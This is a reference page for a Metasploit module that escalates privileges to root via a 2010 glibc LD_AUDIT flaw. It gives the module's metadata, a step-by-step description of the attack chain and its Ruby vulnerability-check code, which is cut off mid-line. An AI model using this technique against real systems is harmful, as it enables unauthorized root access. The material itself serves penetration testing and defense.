Metasploit Module: glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation
Type: exploit
Path: modules/exploits/linux/local/glibc_ld_audit_dso_load_priv_esc.rb
Platform: linux
Disclosure date: 2010-10-18
References: CVE-2010-3847, CVE-2010-3856, BID-44154, BID-44347, EDB-15274, EDB-15304, EDB-18105, URL-https://seclists.org/fulldisclosure/2010/Oct/257, URL-https://seclists.org/fulldisclosure/2010/Oct/344, URL-https://www.ubuntu.com/usn/usn-1009-1
Targets: Linux x86, Linux x64

Description:
This module attempts to gain root privileges on Linux systems by abusing
          a vulnerability in the GNU C Library (glibc) dynamic linker.

          glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not
          properly restrict use of the LD_AUDIT environment variable when loading
          setuid executables. This allows loading arbitrary shared objects from
          the trusted library search path with the privileges of the suid user.

          This module uses LD_AUDIT to load the libpcprofile.so shared object,
          distributed with some versions of glibc, and leverages arbitrary file
          creation functionality in the library constructor to write a root-owned
          world-writable file to a system trusted search path (usually /lib).
          The file is then overwritten with a shared object then loaded with
          LD_AUDIT resulting in arbitrary code execution.

          This module has been tested successfully on glibc version 2.11.1 on
          Ubuntu 10.04 x86_64 and version 2.7 on Debian 5.0.4 i386.

          RHEL 5 is reportedly affected, but untested. Some glibc distributions
          do not contain the libpcprofile.so library required for successful
          exploitation.

Check method (fingerprinting):
glibc_banner = cmd_exec 'ldd --version'
    glibc_version = Rex::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d.]+)/).flatten.first
    if glibc_version.to_s.eql? ''
      vprint_error 'Could not determine the GNU C library version'
      return CheckCode::Safe('Could not determine GNU C Library version')
    elsif glibc_version >= Rex::Version.new('2.12.2') ||
          (glibc_version >= Rex::Version.new('2.11.3') && glibc_version < Rex::Version.new('2.12'))
      vprint_error "GNU C Library version #{glibc_version} is not vulnerable"
      return CheckCode::Safe("GNU C Library version #{glibc_version} is not vulnerable")
    end
    vprint_good "GNU C Library version #{glibc_version} is vulnerable"

    lib = 'libpcprofile.so'
    @lib_dir = nil
    vprint_status "Checking for #{lib} in system search paths"
    search_paths = cmd_exec "env -i LD_PRELOAD=#{rand_text_alpha rand(10..15)} LD_DEBUG=libs env 2>&1 | grep 'search path='"
    search_paths.split('path=')[1..-1].join.split(':').each do |path|
      lib_dir = path.to_s.strip
      next if lib_dir.eql? ''

      libs = cmd_exec "ls '#{lib_dir}'"
      if libs.include? lib
        @lib_dir = lib_dir
        break
      end
    end
    if @lib_dir.nil?
      vprint_error "Could not find #{lib}"
      return CheckCode::Safe('Could not find libpcprofile.so')
    end
    vprint_good "Found #{lib} in #{@lib_dir}"

    return CheckCode::Safe("#{suid_exe_path} file not found") unless file? suid_exe_path
    return CheckCod